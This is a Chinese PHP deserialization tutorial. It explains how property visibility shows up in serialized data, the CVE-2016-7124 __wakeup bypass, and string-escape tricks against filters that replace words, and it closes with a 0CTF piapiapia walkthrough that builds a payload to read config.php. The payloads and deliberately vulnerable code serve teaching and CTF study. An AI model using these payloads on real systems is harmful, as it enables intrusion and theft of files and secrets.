PHP反序列化入门教程(二)
WEB攻防-PHP反序列化入门教程(二)
知识点:
1、PHP-反序列化-属性类型&显示特征
2、PHP-反序列化-CVE绕过&字符串逃逸
PHP-属性类型-公有&私有&保护
1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
这样的设定是为了反序列化的时候能识别出成员属性
本地演示序列化数据显示
<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{
public $name="xiaodi";
private $age="29";
protected $sex="gay";
}
$a=new test();
$a=serialize($a);
//print_r()是打印复合类型,print_r可以输出stirng、int、float、array、object等
print_r($a);
var_dump(unserialize($a));
protect 修饰的属性
父类自己访问受保护属性:类内设置接口,类外创建对象访问接口从而访问属性
class ParentClass {
protected $protectedProperty = "Protected Property";
public function getProtectedProperty() {
return $this->protectedProperty;
}
}
$parentObj = new ParentClass();
echo $parentObj->getProtectedProperty(); // 输出: Protected Property
子类访问父类的受保护属性:子类内设置接口,类外子类创建对象访问接口从而访问属性
class ParentClass {
protected $protectedProperty = "Protected Property";
}
class ChildClass extends ParentClass {
public function getProtectedPropertyFromParent() {
return $this->protectedProperty;
}
}
$childObj = new ChildClass();
echo $childObj->getProtectedPropertyFromParent(); // 输出: Protected Property
类外访问父类的受保护属性
class ParentClass {
protected $protectedProperty = "Protected Property";
}
$parentObj = new ParentClass();
// 尝试直接访问父类的受保护属性
echo $parentObj->protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property
类内访问就是在类内的方法访问,类外访问就是创建对象调用属性的方式
private修饰的属性
父类访问自己的私有属性:类内设置接口,类外创建对象访问接口从而访问属性
<?php
class ParentClass {
private $privateProperty = "Private Property";
public function getPrivateProperty(){
return $this->privateProperty;
}
}
$ParentObject = new ParentClass();
echo $ParentObject->getPrivateProperty(); //输出:Private Property
子类无法直接访问父类的私有属性:子类内设置接口,类外子类创建对象也不能访问接口从而访问属性
<?php
class ParentClass {
private $privateProperty = "Private Property";
}
class ChildClass extends ParentClass {
public function getPrivateProperty(){
return $this->privateProperty; //报错:Member has private visibility
}
}
$childObj = new ChildClass();
echo $childObj->getPrivateProperty();
类外无法直接访问父类的私有属性
class ParentClass {
private $privateProperty = "Private Property";
}
$parentObj = new ParentClass();
// 尝试直接访问父类的私有属性
echo $parentObj->privateProperty; //报错: Member has private visibility
总结
概念约定:
类内访问:通过类内的方法访问属性/方法。
类外访问:类外创建对象,直接访问属性/方法
protect 访问权限:只有子类,父类自己可以类内访问到,类外不行
protect 修饰的属性:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而访问属性
protect 修饰的方法:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而调用方法
private 访问权限:只有父类自己可以类内访问,类外不行
private 修饰的属性:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问私有属性
private 修饰的方法:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法
PHP-绕过漏洞-CVE&字符串逃逸
CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
CVE-2016-7124-本地Demo
<?php
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}
public function __wakeup(){
echo "__wakeup()被调用<br>";
}
public function __destruct(){
echo "__destruct()被调用<br>";
}
}
$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>
绕过__wakeup():修改序列化字符串中表示对象属性数量即可
对象属性数量错误(大于实际的)就会绕过__wakeup()
调用
只有一个__construct()
调用,说明反序列化对象没有创建成功,有两个__destruct()
调用,程序结束后销毁了未能创建成功的反序列化对象
类私有属性:O:4:“Test”:3:{s:9:“Testsex”;N;s:10:“Testname”;N;s:9:“Testage”;N;}
类共有属性:O:4:“Test”:3:{s:3:“sex”;N;s:4:“name”;N;s:3:“age”;N;}
用私有属性数据反序列化公有属性类
[极客大挑战 2019]PHP
《良好的习惯》
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
需要注意的是我们需要绕过__wakeup()
方法,在构造POP链的时候不进行URL编码(在URL编码中将%00
编码为%2500
,这会破坏payload的工作机制,编码也行后面把%2500
改成%00
就行了),还需要注意的是我私有属性序列化后格式%00对象名%00属性
。
//POP payload
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$name = new Name();
echo serialize($name);
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
字符串逃逸
字符变多-str1.php str1-pop.php
案例目的是:如果存在过滤,将序列化的属性值admin改为hacker(但必须输入admin,username和password可更改),那么序列化结果将不对,我们该如何绕过这种过滤
str1.php
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}
str1-pop.php没有过滤
<?php
class user
{
public $username;
public $password;
public $isVIP = 1;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
//function filter($obj) {
// return preg_replace("/admin/","hacker",$obj);
//}
$u='admin';
$p='123456';
$user = new user($u,$p);
echo serialize($user);
str1-pop.php 有过滤
<?php
class user
{
public $username;
public $password;
public $isVIP = 1;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
$u='admin';
$p='123456';
$user = new user($u,$p);
echo filter(serialize($user));
有过滤,会报错,因为hacker并不占五位字符串
注意看,在hacker
后面有47个字符串,那么我们在构造POP的时候,可以类比SQL注入,在反序列化过程中是从前往后面读的,要让序列化变量长度合法,并且不能影响后续变量的识别,因为在hacker
这个出现差错的地方后面有47个字符串,而admin
和hacker
相差1,被替换后序列化长度标识不变,但实际变量值只要有admin
就变为hacker
加1,我们的目的是通过更改可控变量让占位符与实际位数一致,我们先看下面两个例子,反序列化var_dump()都能正常输出,我的理解是在反序列化过程中识别到}
后就停止识别了,那么我们正好可以用这47个字符串来弥补,并在最后用}
来闭合{
从而实现占位符与实际位数一致,由于admin
和hacker
相差1,那么就需要47个admin,这样就能把多出来的47位转化为未能识别的在末尾的47位这种类型过滤主要考察数学水平
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
和
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//过程示范一下
//初始尝试
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//正确序列化结果:
O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//过滤后的结果
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//识别过程中只能识别到},后面都不识别,那么282是正好能对上的
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
更改之后的POP
<?php
class user
{
public $username;
public $password;
public $isVIP = 1;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 1;
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$p='123456';
$user = new user($u,$p);
echo filter(serialize($user));
字符变少-str2.php str2-pop.php
案例目的是:如果存在过滤,将序列化的属性admin改为hack(但必须输入admin),那么序列化结果将不对,我们该如何绕过这种过滤
str2.php
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}
$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}
这个例子的思路和上一个差不多,但也有区别,由于在这道题中无论我们怎么改username
的值,还是会少,所以可以尝试改password
的值,让password
识别的长度为输入字符串中password
长度,而含有password
实际长度的序列化字符串被当作username
的值,这道题我们
//过程
//初始
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
如果我们写五个admin,那么多出来的5位还是不够覆盖原有的序列化字符串,这样还是会报错,能连接到我们输入的地方一共有22个字符串,也就是说,我们要写至少22个admin来让接下来的反序列化数据识别位username的值
O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
接下来就简单了,把password值改成我们需要的,能达到闭合效果
str2-pop.php
<?php
class user
{
public $username;
public $password;
public $isVIP = 1;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 1;
}
}
function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p=';s:8:"password";s:6:"123456';
$user = new user($u,$p);
echo filter(serialize($user));
//输出
O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:28:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
案例分析-0CTF2016-WEB-piapiapia
信息采集,发现源码泄露,/www.zip
下载源码,代码审计
先找flag,再看如何能触发显示flag,我们已知这是一个反序列化漏洞,那么找关键函数serialize
,unserialize
,可以在update.php和profile.php中找到,在profile.php中还有file_get_contents()
函数,只在config.php中找到flag
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
我们先在update.php中更新一个正常四个属性,在profile.php中显示,能正常显示图片内容,鉴于前面说到只有在config.php中有flag
,大概率flag
就在config.php里面了接下来就是构造POP了,我们首先要搞明白profile对象怎么来的
$profile
对象的构造过程如下:
-
调用
show_profile
方法: 当你执行$profile=$user->show_profile($username);
这一行时,show_profile
方法被调用,它接受用户名作为参数。 -
执行过滤: 在
show_profile
方法中,首先调用parent::filter($username)
对传入的用户名进行过滤。这个过滤方法使用正则表达式替换SQL关键字,以防止SQL注入攻击。 -
执行数据库查询: 接下来,构造SQL查询字符串
"username = '$username'"
,并调用parent::select($this->table, $where)
执行查询。这里$this->table
是users
,$where
是查询条件"username = '$username'"
。 -
获取查询结果:
select
方法执行SQL查询并返回结果。如果查询成功,mysql_fetch_object($result)
将结果集的第一行转换为一个对象,这个对象包含从数据库中获取的用户信息。 -
返回结果:
show_profile
方法返回从数据库查询得到的对象,即包含用户信息的$object
。 -
解序列化
profile
字段: 在profile.php
文件中,从$object
中提取profile
字段,并调用unserialize()
函数将字符串形式的profile
字段转换为PHP数组或对象。这是因为在update_profile
方法中,profile
字段被序列化存储到数据库中,现在需要将其反序列化以便于使用。
最终,$profile
变量将包含一个数组或对象,这个数组或对象包含了从数据库中获取的用户的profile
信息,例如phone
、email
、nickname
和photo
字段。这些字段将在页面上显示或在其他地方使用。
值得注意的是,代码中使用了过时的MySQL扩展和不安全的字符串拼接来构建SQL查询,这可能会导致安全问题,比如SQL注入。此外,使用md5
作为密码哈希和在update_profile
方法中直接使用serialize
和unserialize
来存储和检索profile
字段,也可能引入安全漏洞。在实际应用中,应当使用更安全的实践,如预处理语句和更强的密码哈希算法,以及对序列化数据的适当验证和过滤。
在class.php中这种如果在Nickname
中用写入where就正好对应我们前面说的字符变多
pop.php,用题目中给的字符串过滤找到合适的POP链
<?php
class profile{
public $phone = '1234567890';
public $email = '123@qq.com';
public $nickname = array('where');
public $photo = 'config.php';
}
//function filter($obj) {
// return preg_replace("/where/","hacker",$obj);
//}
$pro = new profile();
echo serialize($pro);
可以在Sublime,中找到多少个字符串需要替换从而能闭合,这里一共需要34个,前面举过例子需要34个where
可以看到这里正好是可以闭合的
在BP中抓一个包,在nikename[]中注入payload,用数组是为了绕过在update.php中的检测,在Nickname中输入序列化数组是最合适的,然后在update.php中抓一个包把抓到的请求包改为中转中的请求包然后释放,查看源码之后再解码
总结:
这道题主要的难点是代码审计,要用数组绕过对Nickname的检测,并且用字符串绕过构造POP链
参考文章
[1] https://blog.csdn.net/qq_61553520/article/details/136848688
[2] https://www.anquanke.com/post/id/264823